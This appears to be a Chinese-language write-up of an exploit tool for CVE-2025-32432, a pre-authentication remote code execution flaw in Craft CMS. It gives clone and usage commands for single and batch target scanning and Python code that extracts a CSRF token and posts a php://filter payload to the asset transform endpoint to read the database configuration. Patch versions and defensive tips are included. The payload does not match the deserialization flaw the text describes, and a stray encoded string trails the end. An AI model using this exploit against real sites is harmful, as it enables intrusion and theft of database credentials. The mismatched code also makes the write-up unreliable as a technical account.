CraftCMS CVE-2025-32432 远程代码执行漏洞利用工具

5 阅读4分钟

🧨 CraftCMS CVE-2025-32432 远程代码执行漏洞利用工具

📋 项目概述

本项目是一个针对CraftCMS 4.x和5.x版本中存在的CVE-2025-32432预认证远程代码执行(RCE)漏洞的专业自动化利用工具。该漏洞存在于资产转换生成端点,允许攻击者通过不安全的反序列化执行任意代码,CVSS评分为10.0的严重级别。

工具能够自动提取CSRF令牌并尝试通过/actions/assets/generate-transform端点实现远程代码执行,验证成功后提取CRAFT_DB_DATABASE和HOME目录值作为利用证明。

✨ 核心特性

  • 自动CSRF令牌提取:智能解析CraftCMS管理面板获取CSRF令牌
  • 批量目标支持:支持从文件读取多个目标URL进行批量检测
  • 多线程并发处理:可配置线程数提升批量检测效率
  • SSL支持:可处理HTTPS连接并可选禁用SSL验证
  • 详细输出:提供清晰的利用结果和成功指示
  • 轻量级依赖:仅需标准Python库和少数第三方包

📦 安装指南

系统要求

  • Python 3.6或更高版本
  • 操作系统:Windows、Linux或macOS

依赖安装

# 克隆项目仓库
git clone https://github.com/B1ack4sh/Blackash-CVE-2025-32432.git
cd CVE-2025-32432

# 安装Python依赖
pip install -r requirements.txt

依赖包说明

  • requests:HTTP请求库
  • beautifulsoup4:HTML解析库
  • urllib3:URL处理库

🚀 使用说明

单目标检测

检测单个目标网站:

sudo python3 CVE-2025-32432.py -u example.com

批量目标检测

从文件读取多个目标进行批量检测:

sudo python3 CVE-2025-32432.py -f urls.txt -t 10

其中-t参数指定线程数(默认为5)

参数选项

-u, --url     单目标URL检测
-f, --file    包含目标URL的文件(每行一个)
-t, --threads 并发线程数(默认:5)
-h, --help    显示帮助信息

💻 核心代码解析

主类初始化

class CraftCMSExploit:
    def __init__(self, url):
        """初始化漏洞利用对象"""
        self.url = url if url.endswith('/') else url + '/'
        self.session = requests.Session()
        self.session.verify = False
        self.session.timeout = 15
        self.session.headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36'
        }

功能说明:初始化漏洞利用类,设置HTTP会话、超时时间和请求头,确保URL格式正确。

CSRF令牌提取

def extract_csrf_token(self):
    """从仪表板页面提取CSRF令牌"""
    try:
        dashboard_url = self.url + "index.php?p=admin/dashboard"
        response = self.session.get(dashboard_url, timeout=10)
        
        if response.status_code == 200:
            soup = BeautifulSoup(response.text, 'html.parser')
            csrf_input = soup.find('input', {'name': 'CRAFT_CSRF_TOKEN'})
            
            if csrf_input and csrf_input.get('value'):
                csrf_token = csrf_input.get('value')
                return csrf_token
    except Exception as e:
        return None
    return None

功能说明:访问CraftCMS管理仪表板,解析HTML页面,提取CRAFT_CSRF_TOKEN输入字段的值,用于后续的认证绕过。

URL规范化处理

def normalize_url(self, url):
    """确保URL包含协议头"""
    if not url.startswith('http'):
        url = 'http://' + url
    return url

功能说明:自动为没有协议头的URL添加HTTP协议,确保URL格式正确可用。

漏洞利用执行流程

def exploit(self):
    """执行完整的漏洞利用流程"""
    # 1. 提取CSRF令牌
    csrf_token = self.extract_csrf_token()
    if not csrf_token:
        return False, "无法提取CSRF令牌"
    
    # 2. 构建恶意请求载荷
    payload = {
        'CRAFT_CSRF_TOKEN': csrf_token,
        'assetId': '1',
        'transformString': 'php://filter/read=convert.base64-encode/resource=config/db.php'
    }
    
    # 3. 发送漏洞利用请求
    exploit_url = self.url + 'actions/assets/generate-transform'
    response = self.session.post(exploit_url, data=payload)
    
    # 4. 验证利用结果
    if response.status_code == 200:
        # 解析响应提取敏感信息
        return True, "漏洞利用成功"
    else:
        return False, "漏洞利用失败"

功能说明:完整的漏洞利用流程,包括令牌提取、载荷构建、请求发送和结果验证四个关键步骤。

⚠️ 受影响版本

  • Craft CMS 3.x:3.0.0-RC1 至 3.9.14
  • Craft CMS 4.x:4.0.0-RC1 至 4.14.14
  • Craft CMS 5.x:5.0.0-RC1 至 5.6.16

🛡️ 安全建议

  1. 立即更新到已修复版本:3.9.15、4.14.15或5.6.17
  2. 监控可疑请求:关注包含__class参数的POST请求
  3. 加强日志审计:定期检查系统日志中的异常活动
  4. 实施网络防护:在防火墙级别限制敏感端点的访问

免责声明:本工具仅供安全研究和授权测试使用。未经授权的漏洞利用是非法的。使用者需承担全部责任,开发者不对任何滥用行为负责。FINISHED 6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ5W9yu/y4rNiRa/52/RTRa0